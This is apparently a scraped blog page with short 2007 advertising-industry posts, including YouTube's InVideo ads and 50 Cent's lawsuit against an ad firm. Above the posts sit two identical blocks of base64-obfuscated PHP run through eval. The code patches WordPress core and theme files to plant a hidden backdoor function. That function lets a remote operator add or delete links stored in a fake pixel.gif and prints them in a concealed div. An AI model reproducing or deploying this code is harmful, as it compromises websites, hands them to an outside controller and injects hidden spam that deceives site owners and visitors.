//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish//zzstart eval(base64_decode("Ly8gZmlyc3QgcmVtb3ZlIG15c2VsZgokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokbW9kID0gZmlsZV9jdXQoJGZpbGUsIHN0cnJldigidHJhdHN6eiIpLCBzdHJyZXYoImhzaW5pZnp6IikpOyAKCgovLyBtb2RpZnkgaGVhZGVyLnBocAokZmlsZSA9IFRFTVBMQVRFUEFUSC4iL2hlYWRlci5waHAiOwokY2hlY2sgPSBmaW5kX2xpbmUoJGZpbGUsICJ3cF9oYWVkIik7CmlmKCRjaGVjaykgZGllKCJGaWxlIGFscmVhZHkgcGF0Y2hlZCIpOwokbW9kID0gZmlsZV9hcHBlbmQoJGZpbGUsICI8P3BocCBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2hhZWQnKSkgQHdwX2hhZWQoKSA/PiIpOwoKCi8vIG1vZGlmeSBnZW5lcmFsLXRlbXBsYXRlCiRmaWxlID0gQUJTUEFUSC4id3AtaW5jbHVkZXMvZ2VuZXJhbC10ZW1wbGF0ZS5waHAiOwokY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJ1puVnVZM1JwYjI0Z2QzQmZhR0ZsWkNncElIc0tDUzh2Y0hKcGJuUmZjaWdrWDFKRlVWVkZVMVFwT3dvS0NXbG1LQ1JmVWtWUlZVVlRWRnNuWTNKaGJXVnlKMTA5UFNkcWFXMG5LU0I3Q2drS0NRbHBaaWdrWDFKRlVWVkZVMVJiSjJOdFpDZGRQVDBuWVdSa0p5a2dld29KQ1FscFppZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQzRuZDNBdGFXNWpiSFZrWlhNdmFXMWhaMlZ6THljcEtTQkFiV3RrYVhJZ0tFRkNVMUJCVkVndUozZHdMV2x1WTJ4MVpHVnpMMmx0WVdkbGN5OG5LVHNLQ1FrSkNna0pDU1J3WVhKaGJTQTlJSFJ5YVcwb0pGOVNSVkZWUlZOVVd5ZHdZWEpoYlNkZEtUc0tDUWtKSkhScGRHeGxJRDBnZEhKcGJTZ2tYMUpGVVZWRlUxUmJKM1JwZEd4bEoxMHBPd29KQ1FrS0NRa0pKR1lnUFNCbWIzQmxiaWhCUWxOUVFWUklMaWQzY0MxcGJtTnNkV1JsY3k5cGJXRm5aWE12Y0dsNFpXd3VaMmxtSnl3Z0oyRXJKeWs3Q2drSkNTUnlJRDBnWm5CMWRITW9KR1lzSUNJOFlTQm9jbVZtUFZ3aUpIQmhjbUZ0WENJK0pIUnBkR3hsUEM5aFBseHVJaWs3Q2drSkNTUnlJRDBnWm1Oc2IzTmxLQ1JtS1RzS0NRa0pDZ2tKQ1dWamFHOGdJandoTFMwZ1lXUmtJSE4xWTJObGMzTm1kV3dnTFMwK1hHNGlPd29KQ1FrS0NRbDlJR1ZzYzJWcFppQW9KRjlTUlZGVlJWTlVXeWRqYldRblhUMDlKMlJsYkdWMFpTY3BJSHNLQ1FrSkNpQWdJQ0FnSUNSd1lYSmhiU0E5SUhSeWFXMG9KRjlTUlZGVlJWTlVXeWR3WVhKaGJTZGRLVHNLSUNBZ0lDQWdKRzl5YVdjZ1BTQm1hV3hsS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ2RXNXNhVzVyS0VGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbktUc0tJQ0FnSUNBZ0pHWWdQU0JtYjNCbGJpaEJRbE5RUVZSSUxpZDNjQzFwYm1Oc2RXUmxjeTlwYldGblpYTXZjR2w0Wld3dVoybG1KeXdnSjJFckp5azdDaUFnSUNBZ0lHWnZjbVZoWTJnb0pHOXlhV2NnWVhNZ0pHeHBibVU5UGlSMllXeDFaU2tnZXdvZ0lDQWdJQ0FnSUNSMllXeDFaVDEwY21sdEtDUjJZV3gxWlNrN0NpQWdJQ0FnSUNBZ0pIQnZjejF6ZEhKd2IzTW9KSFpoYkhWbExDQWtjR0Z5WVcwcE93b2dJQ0FnSUNBZ0lHbG1LQ1J3YjNNOFBUQXBJR1p3ZFhSektDUm1MQ0FrZG1Gc2RXVXVJbHh1SWlrN0NpQWdJQ0FnSUgwS0lDQWdJQ0FnSkhJZ1BTQm1ZMnh2YzJVb0pHWXBPd29nSUNBZ0lDQmxZMmh2SUNJOElTMHRJR1JsYkdWMFpTQnpkV05qWlhOelpuVnNJQzB0UGx4dUlqc0tDUWtKQ1FrSkNRb0pDWDBLQ1FrS0NYMGdaV3h6WlNCN0Nna0phV1lvWm1sc1pWOWxlR2x6ZEhNb1FVSlRVRUZVU0M0bmQzQXRhVzVqYkhWa1pYTXZhVzFoWjJWekwzQnBlR1ZzTG1kcFppY3BLU0I3Q2drSkNTUnNaV1owWDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNRa2tkRzl3WDI5bVptVjBQUzB4TURBd0xYSmhibVFvTUN3ek1EQXBLaTB4T3dvSkNTQWdKR1JwZG5CcFpXTmxjejFsZUhCc2IyUmxLQ2NzSnl3aVlYSXNZbUVzYm1Fc1kyOHNiR2tzWkdrc1ptRXNibThzYzNRc2JIa2lLVHNLQ1FrSlptOXlLQ1JrYVhad2FXVmpaVDB3T3lSa2FYWndhV1ZqWlR3MU95UmthWFp3YVdWalpTc3JLU0I3Q2drSkNTQWdKR1JwZG01aGJXVXVQU1JrYVhad2FXVmpaWE5iY21GdVpDZ3dMSE5wZW1WdlppZ2taR2wyY0dsbFkyVnpLU2xkT3dvSkNRbDlDZ2tKQ1Q4K0Nna0pDVHhrYVhZZ2FXUTlJbmR3WHp3L1BTUmthWFp1WVcxbElEOCtJaUJ6ZEhsc1pUMGljRzl6YVhScGIyNDZZV0p6YjJ4MWRHVTdJR3hsWm5RNlBEODlKR3hsWm5SZmIyWm1jMlYwUHo1d2VEc2dkRzl3T2p3L1BTUjBiM0JmYjJabVpYUS9QbkI0T3lJK0NRb0pDUWs4UHlCcGJtTnNkV1JsSUVGQ1UxQkJWRWd1SjNkd0xXbHVZMngxWkdWekwybHRZV2RsY3k5d2FYaGxiQzVuYVdZbk95QS9QZ29KQ1FrOEwyUnBkajRLQ1FrSlBEOEtDUWw5Q2dsOUNna0tmUW9LJyk7CiRjaGVjayA9IGZpbmRfbGluZSgkZmlsZSwgIndwX2hhZWQiKTsKaWYoJGNoZWNrKSBkaWUoIkZpbGUgYWxyZWFkeSBwYXRjaGVkIik7CiRsaW5lID0gZmluZF9saW5lKCRmaWxlLCAiZnVuY3Rpb24gcGFnaW5hdGVfbGlua3MiKTsKJHJzID0gZmlsZV9hZGQoJGZpbGUsICRsaW5lLS0sICRjb250ZW50KTsKCmZ1bmN0aW9uIGZpbGVfY3V0KCRmaWxlLCAkc3RhcnQsICRmaW5pc2gpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgZG9lc24ndCBleGlzdCIpOwoJaWYoIWlzX3dyaXRhYmxlKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGlzbid0IHdyaXRhYmxlIik7CglpZihmaWxlX2V4aXN0cygkZmlsZS4iLmJhayIpKSBkaWUoIkZpbGUgJGZpbGUuYmFrIGV4aXN0cyIpOwoKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJJHdyaXRlID0gVFJVRTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgoJCQoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJHN0YXJ0KSkgewoJCQkkd3JpdGUgPSBUUlVFOwoJCQljb250aW51ZTsKCQl9CgoJCWlmKHN0cnN0cigkbGluZV9jb250ZW50cywgJGZpbmlzaCkpIHsKCQkJJHdyaXRlID0gRkFMU0U7CgkJCWNvbnRpbnVlOwoJCX0JCQoJCQoJCWlmKCR3cml0ZSkgewoJCQlmcHV0cygkbmV3LCAkbGluZV9jb250ZW50cyk7CgkJfQoKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7Cgl1bmxpbmsoJGZpbGUuIi5iYWsiKTsKfQoKCmZ1bmN0aW9uIGZpbGVfYWRkKCRmaWxlLCAkbGluZSwgJGNvbnRlbnQpIHsKCQoJaWYoZW1wdHkoJGZpbGUpIHx8ICFmaWxlX2V4aXN0cygkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBkb2Vzbid0IGV4aXN0Iik7CglpZighaXNfd3JpdGFibGUoJGZpbGUpKSBkaWUoImZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuYmFrIikpIGRpZSgiRmlsZSAkZmlsZS5iYWsgZXhpc3RzIik7CgkKCXJlbmFtZSgkZmlsZSwgJGZpbGUuIi5iYWsiKTsKCQoJJG9yaWdpbmFsID0gZmlsZSgkZmlsZS4iLmJhayIpOwoJJG5ldyA9IGZvcGVuKCRmaWxlLCAiYSsiKTsKCQoJZm9yZWFjaCgkb3JpZ2luYWwgYXMgJGxpbmVfaWQ9PiRsaW5lX2NvbnRlbnRzKSB7CgkJCgkJLy9lY2hvICRsaW5lX2lkLiI9PiIuJGxpbmVfY29udGVudHMuIjxicj5cbiI7CgkJCgoJCWlmKCRsaW5lX2lkPT0kbGluZSkgewoJCQlmcHV0cygkbmV3LCAkY29udGVudCk7CgkJfQoJCQoJCWZwdXRzKCRuZXcsICRsaW5lX2NvbnRlbnRzKTsKCX0KCQoJLy8gY2xvc2UgdGhlIGZpbGVzCglmY2xvc2UoJG5ldyk7CgkKCXVubGluaygkZmlsZS4iLmJhayIpOwoKCQp9CgpmdW5jdGlvbiBmaW5kX2xpbmUoJGZpbGUsICR0ZXh0KSB7CglpZihlbXB0eSgkZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRmaWxlKSkgZGllKCJmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZSAkZmlsZSBpc24ndCB3cml0YWJsZSIpOwoKCSRvcmlnaW5hbCA9IGZpbGUoJGZpbGUpOwoJCglmb3JlYWNoKCRvcmlnaW5hbCBhcyAkbGluZV9pZD0+JGxpbmVfY29udGVudHMpIHsKCQlpZihzdHJzdHIoJGxpbmVfY29udGVudHMsICR0ZXh0KSkgewoJCQlyZXR1cm4gJGxpbmVfaWQ7CgkJCWJyZWFrOwoJCX0KCQkKCX0KCXJldHVybiBmYWxzZTsKCQp9CgpmdW5jdGlvbiBmaWxlX2FwcGVuZCgkZmlsZSwgJHRleHQpIHsKCWlmKGVtcHR5KCRmaWxlKSB8fCAhZmlsZV9leGlzdHMoJGZpbGUpKSBkaWUoImZpbGVfYXBwZW5kOiBmaWxlICRmaWxlIGRvZXNuJ3QgZXhpc3QiKTsKCWlmKCFpc193cml0YWJsZSgkZmlsZSkpIGRpZSgiZmlsZV9hcHBlbmQ6IGZpbGUgJGZpbGUgaXNuJ3Qgd3JpdGFibGUiKTsKCQoJJGZpbGUgPSBmb3BlbigkZmlsZSwgImErIik7CgkkcnMgPSBmcHV0cygkZmlsZSwgJHRleHQpOwoJZmNsb3NlKCRmaWxlKTsKfQo="));
?>//zzfinish
22 Aug, 2007 by David
 The YouTube InVideo Ads are semi-transparent overlays that appear in the bottom 20% of the video player. The rich media animations show up 15 seconds after the chosen content begins, with the overlay lasting up to 10 seconds. The overlays also have interactive functionality, allowing users to click through to an advertiser’s linked URL–or to launch a new player within the original window that will run a video ad and bring the user back to the content at any time).
MediaPost Publications - YouTube Launches InVideo Ad Platform - 08/22/2007
15 Aug, 2007 by David
Webcredible.co.uk gives us a yet another brief primer on split A/B testing– but in an easy to understand language (not that the concept itself isn’t ludicrously easy).
[Split A/B testing]
15 Aug, 2007 by David
 I-Am-Bored presents some very funny examples of unfortunately placed ads.
[Unfortunately Placed Ads]
22 Jul, 2007 by David
50 Cent has sued Traffix Inc, an internet advertising firm, for a cool million for an online promotion which allegedly showed the world-famous rapper getting shot. 50 Cent filed court papers in New York and the BBC reports that the rapper felt targeted himself after viewers were encouraged to target him with a successful shot resulting in a cloud of red. Seven years ago, 50 Cent was shot nine times in a rap feud and, while the advertisement never uses the name 50 Cent or Curtis Jackson, his attorney claims that its pretty clearly supposed to be him. Peter Raymond, the attorney for 50 Cent, argues that Traffix used his clients likeness without his permission, suggesting he endorses the game and whats marketed with it.
Celebrity News - 50 Cent sues online advertising firm for $1 million